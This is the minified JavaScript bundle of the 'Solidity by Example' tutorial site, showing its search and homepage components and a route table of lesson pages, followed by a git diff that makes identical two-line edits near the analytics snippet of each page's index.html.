Object.keys(Fo))jh.push(...Fo[s]);const uh={};for(const s of jh)PB(uh,s);function g1(s){return Array.from(new Set(s))}function d1(s){const a=[],n=qB(uh,s.toLowerCase());for(const l of n)Ho[l]&&a.push(...Ho[l]);return a}const I1="_component_196j1_1",C1="_updates_196j1_8",j1="_category_196j1_13",u1="_search_196j1_16",y1="_listItem_196j1_20",m1="_label_196j1_28",A1="_header_196j1_31",b1="_youTube_196j1_34",w1="_youTubeLogo_196j1_40",rs={component:I1,updates:C1,category:j1,search:u1,listItem:y1,label:m1,header:A1,youTube:b1,youTubeLogo:w1},k1=["2024/01/09 - Vault inflation attack","2024/01/05 - DAI proxy","2023/11/06 - GitHub PR sunnyStefi"];function Z1(){const[s,a]=W.useState(""),[n,l]=MI(),[p,e]=W.useState(null);W.useEffect(()=>{const d=n.get("q");d!=null&&d.length>0&&(a(d),c(d,!1))},[]);function c(d,I){const j=d.trim();if(j.length==0){e(null),I&&l({q:""});return}const y=g1(j.split(" ")),A={};for(const b of y){const B=d1(b);for(const g of B)A[g]=!0}e(A),I&&l({q:j})}const t=OB(d=>c(d,!0),500,[]);function o(d){a(d),t(d)}function r(){return p?Object.keys(p).length==0?i.jsx("div",{children:"No results"}):i.jsx("ul",{className:rs.list,children:Cp.filter(({path:d})=>p[d]).map(({path:d,title:I})=>i.jsx("li",{className:rs.listItem,children:i.jsx("a",{href:d,children:I})},d))}):i.jsxs(i.Fragment,{children:[rt.map(({routes:d,title:I},j)=>i.jsxs("div",{children:[I&&i.jsx("h3",{className:rs.category,children:I}),i.jsx("ul",{className:rs.list,children:d.map(({path:y,title:A})=>i.jsx("li",{className:rs.listItem,children:i.jsx("a",{href:y,children:A})},y))})]},j)),i.jsxs("div",{children:[i.jsx("h3",{className:rs.category,children:"Translations"}),OI.map(({lang:d,url:I})=>i.jsx("li",{className:rs.listItem,children:i.jsx("a",{href:I,target:"__blank",children:d})},I))]})]})}return i.jsxs("div",{className:rs.component,children:[i.jsx(Ch,{title:"Solidity by Example | 0.8.20",description:"Learn smart contract programming using Solidity"}),i.jsx("h1",{className:rs.header,children:i.jsx("a",{href:"/",children:"Solidity by Example"})}),i.jsx("div",{className:rs.subHeader,children:"v 0.8.20"}),i.jsxs("div",{className:rs.main,children:[i.jsxs("p",{children:["an introduction to ",i.jsx("a",{href:"https://solidity.readthedocs.io",children:"Solidity"})," with simple examples"]}),i.jsxs("div",{className:rs.youTube,children:[i.jsx("img",{src:Ih,alt:"logo",className:rs.youTubeLogo}),i.jsx("a",{href:"https://www.youtube.com/@smartcontractprogrammer",target:"__blank",children:"Most code are explained here"})]}),i.jsx("div",{className:rs.updates,children:k1.map((d,I)=>i.jsx("div",{children:d},I))}),i.jsx("div",{className:rs.search,children:i.jsx(VB,{value:s,onChange:o})}),r()]})]})}const W1=[{path:"/abi-decode",component:zC},{path:"/abi-encode",component:TC},{path:"/app/assembly-bin-exp",component:sj},{path:"/app/bi-directional-payment-channel",component:cj},{path:"/app/create2",component:gj},{path:"/app/crowd-fund",component:yj},{path:"/app/deploy-any-contract",component:Zj},{path:"/app/dutch-auction",component:vj},{path:"/app/english-auction",component:Nj},{path:"/app/erc1155",component:zj},{path:"/app/erc20",component:Tj},{path:"/app/erc721",component:su},{path:"/app/ether-wallet",component:cu},{path:"/app/gasless-token-transfer",component:gu},{path:"/app/iterable-mapping",component:yu},{path:"/app/merkle-tree",component:Zu},{path:"/app/minimal-proxy",component:vu},{path:"/app/multi-call",component:Nu},{path:"/app/multi-delegatecall",component:zu},{path:"/app/multi-sig-wallet",component:Tu},{path:"/app/simple-bytecode-contract",component:sy},{path:"/app/time-lock",component:cy},{path:"/app/uni-directional-payment-channel",component:gy},{path:"/app/upgradeable-proxy",component:yy},{path:"/app/write-to-any-slot",component:Zy},{path:"/array",component:vy},{path:"/assembly-error",component:Ny},{path:"/assembly-if",component:zy},{path:"/assembly-loop",component:Ty},{path:"/assembly-math",component:sm},{path:"/assembly-variable",component:cm},{path:"/bitwise",component:gm},{path:"/call",component:ym},{path:"/calling-contract",component:Zm},{path:"/constants",component:vm},{path:"/constructor",component:Nm},{path:"/data-locations",component:zm},{path:"/defi/chainlink-price-oracle",component:Tm},{path:"/defi/constant-product-amm",component:sA},{path:"/defi/constant-sum-amm",component:cA},{path:"/defi/dai-proxy",component:gA},{path:"/defi/discrete-staking-rewards",component:yA},{path:"/defi/stable-swap-amm",component:ZA},{path:"/defi/staking-rewards",component:vA},{path:"/defi/uniswap-v2",component:NA},{path:"/defi/uniswap-v2-add-remove-liquidity",component:zA},{path:"/defi/uniswap-v2-flash-swap",component:TA},{path:"/defi/uniswap-v2-optimal-one-sided-supply",component:sb},{path:"/defi/uniswap-v3-flash",component:cb},{path:"/defi/uniswap-v3-flash-swap",component:gb},{path:"/defi/uniswap-v3-liquidity",component:yb},{path:"/defi/uniswap-v3-swap",component:Zb},{path:"/defi/vault",component:vb},{path:"/delegatecall",component:Nb},{path:"/enum",component:zb},{path:"/error",component:Tb},{path:"/ether-units",component:sw},{path:"/events",component:cw},{path:"/fallback",component:gw},{path:"/first-app",component:yw},{path:"/function",component:Zw},{path:"/function-modifier",component:vw},{path:"/function-selector",component:Nw},{path:"/gas",component:zw},{path:"/gas-golf",component:Tw},{path:"/hacks/accessing-private-data",component:sk},{path:"/hacks/block-timestamp-manipulation",component:ck},{path:"/hacks/contract-size",component:gk},{path:"/hacks/delegatecall",component:yk},{path:"/hacks/denial-of-service",component:Zk},{path:"/hacks/deploy-different-contracts-same-address",component:vk},{path:"/hacks/front-running",component:Nk},{path:"/hacks/hiding-malicious-code-with-external-contract",component:zk},{path:"/hacks/honeypot",component:Tk},{path:"/hacks/overflow",component:sZ},{path:"/hacks/phishing-with-tx-origin",component:cZ},{path:"/hacks/randomness",component:gZ},{path:"/hacks/re-entrancy",component:yZ},{path:"/hacks/self-destruct",component:ZZ},{path:"/hacks/signature-replay",component:vZ},{path:"/hacks/vault-inflation",component:NZ},{path:"/hashing",component:zZ},{path:"/hello-world",component:TZ},{path:"/if-else",component:s0},{path:"/immutable",component:c0},{path:"/import",component:g0},{path:"/inheritance",component:y0},{path:"/interface",component:Z0},{path:"/library",component:v0},{path:"/loop",component:N0},{path:"/mapping",component:z0},{path:"/new-contract",component:T0},{path:"/payable",component:sW},{path:"/primitives",component:cW},{path:"/sending-ether",component:gW},{path:"/shadowing-inherited-state-variables",component:yW},{path:"/signature",component:ZW},{path:"/state-variables",component:vW},{path:"/structs",component:NW},{path:"/super",component:zW},{path:"/tests/echidna",component:TW},{path:"/try-catch",component:sB},{path:"/unchecked-math",component:cB},{path:"/variables",component:gB},{path:"/view-and-pure-functions",component:yB},{path:"/visibility",component:ZB},{path:"",component:Z1}];function No(){const{state:s,init:a}=ct();return W.useLayoutEffect(()=>{a({width:window.document.body.clientWidth})},[]),s.initialized?i.jsx(xI,{basename:"",children:i.jsx(vC,{children:i.jsx(NI,{children:W1.map(n=>{const{prev:l,next:p}=lC(n.path);return i.jsx(dh,{path:n.path,element:To.createElement(n.component,{prev:l,next:p})},n.path)})})})}):null}const B1=document.getElementById("root"),G1=sh(B1),Ko=document.getElementById("root");Ko.hasChildNodes()?qi(Ko,i.jsx(wo,{children:i.jsx(No,{})})):G1.render(i.jsx(wo,{children:i.jsx(No,{})})); diff --git a/bitwise/index.html b/bitwise/index.html index 41cd1e2d8..17c472d4b 100644 --- a/bitwise/index.html +++ b/bitwise/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/call/index.html b/call/index.html index 41cd1e2d8..17c472d4b 100644 --- a/call/index.html +++ b/call/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/calling-contract/index.html b/calling-contract/index.html index 41cd1e2d8..17c472d4b 100644 --- a/calling-contract/index.html +++ b/calling-contract/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/constants/index.html b/constants/index.html index 41cd1e2d8..17c472d4b 100644 --- a/constants/index.html +++ b/constants/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/constructor/index.html b/constructor/index.html index 41cd1e2d8..17c472d4b 100644 --- a/constructor/index.html +++ b/constructor/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/data-locations/index.html b/data-locations/index.html index 41cd1e2d8..17c472d4b 100644 --- a/data-locations/index.html +++ b/data-locations/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/defi/chainlink-price-oracle/index.html b/defi/chainlink-price-oracle/index.html index 41cd1e2d8..17c472d4b 100644 --- a/defi/chainlink-price-oracle/index.html +++ b/defi/chainlink-price-oracle/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/defi/constant-product-amm/index.html b/defi/constant-product-amm/index.html index 41cd1e2d8..17c472d4b 100644 --- a/defi/constant-product-amm/index.html +++ b/defi/constant-product-amm/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/defi/constant-sum-amm/index.html b/defi/constant-sum-amm/index.html index 41cd1e2d8..17c472d4b 100644 --- a/defi/constant-sum-amm/index.html +++ b/defi/constant-sum-amm/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/defi/dai-proxy/index.html b/defi/dai-proxy/index.html index 41cd1e2d8..17c472d4b 100644 --- a/defi/dai-proxy/index.html +++ b/defi/dai-proxy/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/defi/discrete-staking-rewards/index.html b/defi/discrete-staking-rewards/index.html index 41cd1e2d8..17c472d4b 100644 --- a/defi/discrete-staking-rewards/index.html +++ b/defi/discrete-staking-rewards/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/defi/stable-swap-amm/index.html b/defi/stable-swap-amm/index.html index 41cd1e2d8..17c472d4b 100644 --- a/defi/stable-swap-amm/index.html +++ b/defi/stable-swap-amm/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/defi/staking-rewards/index.html b/defi/staking-rewards/index.html index 41cd1e2d8..17c472d4b 100644 --- a/defi/staking-rewards/index.html +++ b/defi/staking-rewards/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/defi/uniswap-v2-add-remove-liquidity/index.html b/defi/uniswap-v2-add-remove-liquidity/index.html index 41cd1e2d8..17c472d4b 100644 --- a/defi/uniswap-v2-add-remove-liquidity/index.html +++ b/defi/uniswap-v2-add-remove-liquidity/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/defi/uniswap-v2-flash-swap/index.html b/defi/uniswap-v2-flash-swap/index.html index 41cd1e2d8..17c472d4b 100644 --- a/defi/uniswap-v2-flash-swap/index.html +++ b/defi/uniswap-v2-flash-swap/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/defi/uniswap-v2-optimal-one-sided-supply/index.html b/defi/uniswap-v2-optimal-one-sided-supply/index.html index 41cd1e2d8..17c472d4b 100644 --- a/defi/uniswap-v2-optimal-one-sided-supply/index.html +++ b/defi/uniswap-v2-optimal-one-sided-supply/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/defi/uniswap-v2/index.html b/defi/uniswap-v2/index.html index 41cd1e2d8..17c472d4b 100644 --- a/defi/uniswap-v2/index.html +++ b/defi/uniswap-v2/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/defi/uniswap-v3-flash-swap/index.html b/defi/uniswap-v3-flash-swap/index.html index 41cd1e2d8..17c472d4b 100644 --- a/defi/uniswap-v3-flash-swap/index.html +++ b/defi/uniswap-v3-flash-swap/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/defi/uniswap-v3-flash/index.html b/defi/uniswap-v3-flash/index.html index 41cd1e2d8..17c472d4b 100644 --- a/defi/uniswap-v3-flash/index.html +++ b/defi/uniswap-v3-flash/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/defi/uniswap-v3-liquidity/index.html b/defi/uniswap-v3-liquidity/index.html index 41cd1e2d8..17c472d4b 100644 --- a/defi/uniswap-v3-liquidity/index.html +++ b/defi/uniswap-v3-liquidity/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/defi/uniswap-v3-swap/index.html b/defi/uniswap-v3-swap/index.html index 41cd1e2d8..17c472d4b 100644 --- a/defi/uniswap-v3-swap/index.html +++ b/defi/uniswap-v3-swap/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/defi/vault/index.html b/defi/vault/index.html index 41cd1e2d8..17c472d4b 100644 --- a/defi/vault/index.html +++ b/defi/vault/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/delegatecall/index.html b/delegatecall/index.html index 41cd1e2d8..17c472d4b 100644 --- a/delegatecall/index.html +++ b/delegatecall/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/enum/index.html b/enum/index.html index 41cd1e2d8..17c472d4b 100644 --- a/enum/index.html +++ b/enum/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/error/index.html b/error/index.html index 41cd1e2d8..17c472d4b 100644 --- a/error/index.html +++ b/error/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/ether-units/index.html b/ether-units/index.html index 41cd1e2d8..17c472d4b 100644 --- a/ether-units/index.html +++ b/ether-units/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/events/index.html b/events/index.html index 41cd1e2d8..17c472d4b 100644 --- a/events/index.html +++ b/events/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/fallback/index.html b/fallback/index.html index 41cd1e2d8..17c472d4b 100644 --- a/fallback/index.html +++ b/fallback/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/first-app/index.html b/first-app/index.html index 41cd1e2d8..17c472d4b 100644 --- a/first-app/index.html +++ b/first-app/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/function-modifier/index.html b/function-modifier/index.html index 41cd1e2d8..17c472d4b 100644 --- a/function-modifier/index.html +++ b/function-modifier/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/function-selector/index.html b/function-selector/index.html index 41cd1e2d8..17c472d4b 100644 --- a/function-selector/index.html +++ b/function-selector/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/function/index.html b/function/index.html index 41cd1e2d8..17c472d4b 100644 --- a/function/index.html +++ b/function/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/gas-golf/index.html b/gas-golf/index.html index 41cd1e2d8..17c472d4b 100644 --- a/gas-golf/index.html +++ b/gas-golf/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/gas/index.html b/gas/index.html index 41cd1e2d8..17c472d4b 100644 --- a/gas/index.html +++ b/gas/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/hacks/accessing-private-data/index.html b/hacks/accessing-private-data/index.html index 41cd1e2d8..17c472d4b 100644 --- a/hacks/accessing-private-data/index.html +++ b/hacks/accessing-private-data/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/hacks/block-timestamp-manipulation/index.html b/hacks/block-timestamp-manipulation/index.html index 41cd1e2d8..17c472d4b 100644 --- a/hacks/block-timestamp-manipulation/index.html +++ b/hacks/block-timestamp-manipulation/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/hacks/contract-size/index.html b/hacks/contract-size/index.html index 41cd1e2d8..17c472d4b 100644 --- a/hacks/contract-size/index.html +++ b/hacks/contract-size/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/hacks/delegatecall/index.html b/hacks/delegatecall/index.html index 41cd1e2d8..17c472d4b 100644 --- a/hacks/delegatecall/index.html +++ b/hacks/delegatecall/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/hacks/denial-of-service/index.html b/hacks/denial-of-service/index.html index 41cd1e2d8..17c472d4b 100644 --- a/hacks/denial-of-service/index.html +++ b/hacks/denial-of-service/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/hacks/deploy-different-contracts-same-address/index.html b/hacks/deploy-different-contracts-same-address/index.html index 41cd1e2d8..17c472d4b 100644 --- a/hacks/deploy-different-contracts-same-address/index.html +++ b/hacks/deploy-different-contracts-same-address/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/hacks/front-running/index.html b/hacks/front-running/index.html index 41cd1e2d8..17c472d4b 100644 --- a/hacks/front-running/index.html +++ b/hacks/front-running/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/hacks/hiding-malicious-code-with-external-contract/index.html b/hacks/hiding-malicious-code-with-external-contract/index.html index 41cd1e2d8..17c472d4b 100644 --- a/hacks/hiding-malicious-code-with-external-contract/index.html +++ b/hacks/hiding-malicious-code-with-external-contract/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/hacks/honeypot/index.html b/hacks/honeypot/index.html index 41cd1e2d8..17c472d4b 100644 --- a/hacks/honeypot/index.html +++ b/hacks/honeypot/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/hacks/overflow/index.html b/hacks/overflow/index.html index 41cd1e2d8..17c472d4b 100644 --- a/hacks/overflow/index.html +++ b/hacks/overflow/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/hacks/phishing-with-tx-origin/index.html b/hacks/phishing-with-tx-origin/index.html index 41cd1e2d8..17c472d4b 100644 --- a/hacks/phishing-with-tx-origin/index.html +++ b/hacks/phishing-with-tx-origin/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/hacks/randomness/index.html b/hacks/randomness/index.html index 41cd1e2d8..17c472d4b 100644 --- a/hacks/randomness/index.html +++ b/hacks/randomness/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/hacks/re-entrancy/index.html b/hacks/re-entrancy/index.html index 41cd1e2d8..17c472d4b 100644 --- a/hacks/re-entrancy/index.html +++ b/hacks/re-entrancy/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/hacks/self-destruct/index.html b/hacks/self-destruct/index.html index 41cd1e2d8..17c472d4b 100644 --- a/hacks/self-destruct/index.html +++ b/hacks/self-destruct/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/hacks/signature-replay/index.html b/hacks/signature-replay/index.html index 41cd1e2d8..17c472d4b 100644 --- a/hacks/signature-replay/index.html +++ b/hacks/signature-replay/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/hacks/vault-inflation/index.html b/hacks/vault-inflation/index.html index 41cd1e2d8..17c472d4b 100644 --- a/hacks/vault-inflation/index.html +++ b/hacks/vault-inflation/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/hashing/index.html b/hashing/index.html index 41cd1e2d8..17c472d4b 100644 --- a/hashing/index.html +++ b/hashing/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/hello-world/index.html b/hello-world/index.html index 41cd1e2d8..17c472d4b 100644 --- a/hello-world/index.html +++ b/hello-world/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/if-else/index.html b/if-else/index.html index 41cd1e2d8..17c472d4b 100644 --- a/if-else/index.html +++ b/if-else/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/immutable/index.html b/immutable/index.html index 41cd1e2d8..17c472d4b 100644 --- a/immutable/index.html +++ b/immutable/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/import/index.html b/import/index.html index 41cd1e2d8..17c472d4b 100644 --- a/import/index.html +++ b/import/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/index.html b/index.html index 41cd1e2d8..17c472d4b 100644 --- a/index.html +++ b/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/inheritance/index.html b/inheritance/index.html index 41cd1e2d8..17c472d4b 100644 --- a/inheritance/index.html +++ b/inheritance/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/interface/index.html b/interface/index.html index 41cd1e2d8..17c472d4b 100644 --- a/interface/index.html +++ b/interface/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/library/index.html b/library/index.html index 41cd1e2d8..17c472d4b 100644 --- a/library/index.html +++ b/library/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/loop/index.html b/loop/index.html index 41cd1e2d8..17c472d4b 100644 --- a/loop/index.html +++ b/loop/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/mapping/index.html b/mapping/index.html index 41cd1e2d8..17c472d4b 100644 --- a/mapping/index.html +++ b/mapping/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/new-contract/index.html b/new-contract/index.html index 41cd1e2d8..17c472d4b 100644 --- a/new-contract/index.html +++ b/new-contract/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/payable/index.html b/payable/index.html index 41cd1e2d8..17c472d4b 100644 --- a/payable/index.html +++ b/payable/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/primitives/index.html b/primitives/index.html index 41cd1e2d8..17c472d4b 100644 --- a/primitives/index.html +++ b/primitives/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/sending-ether/index.html b/sending-ether/index.html index 41cd1e2d8..17c472d4b 100644 --- a/sending-ether/index.html +++ b/sending-ether/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/shadowing-inherited-state-variables/index.html b/shadowing-inherited-state-variables/index.html index 41cd1e2d8..17c472d4b 100644 --- a/shadowing-inherited-state-variables/index.html +++ b/shadowing-inherited-state-variables/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/signature/index.html b/signature/index.html index 41cd1e2d8..17c472d4b 100644 --- a/signature/index.html +++ b/signature/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/state-variables/index.html b/state-variables/index.html index 41cd1e2d8..17c472d4b 100644 --- a/state-variables/index.html +++ b/state-variables/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/structs/index.html b/structs/index.html index 41cd1e2d8..17c472d4b 100644 --- a/structs/index.html +++ b/structs/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/super/index.html b/super/index.html index 41cd1e2d8..17c472d4b 100644 --- a/super/index.html +++ b/super/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/tests/echidna/index.html b/tests/echidna/index.html index 41cd1e2d8..17c472d4b 100644 --- a/tests/echidna/index.html +++ b/tests/echidna/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/try-catch/index.html b/try-catch/index.html index 41cd1e2d8..17c472d4b 100644 --- a/try-catch/index.html +++ b/try-catch/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/unchecked-math/index.html b/unchecked-math/index.html index 41cd1e2d8..17c472d4b 100644 --- a/unchecked-math/index.html +++ b/unchecked-math/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/variables/index.html b/variables/index.html index 41cd1e2d8..17c472d4b 100644 --- a/variables/index.html +++ b/variables/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/view-and-pure-functions/index.html b/view-and-pure-functions/index.html index 41cd1e2d8..17c472d4b 100644 --- a/view-and-pure-functions/index.html +++ b/view-and-pure-functions/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/visibility/index.html b/visibility/index.html index 41cd1e2d8..17c472d4b 100644 --- a/visibility/index.html +++ b/visibility/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + +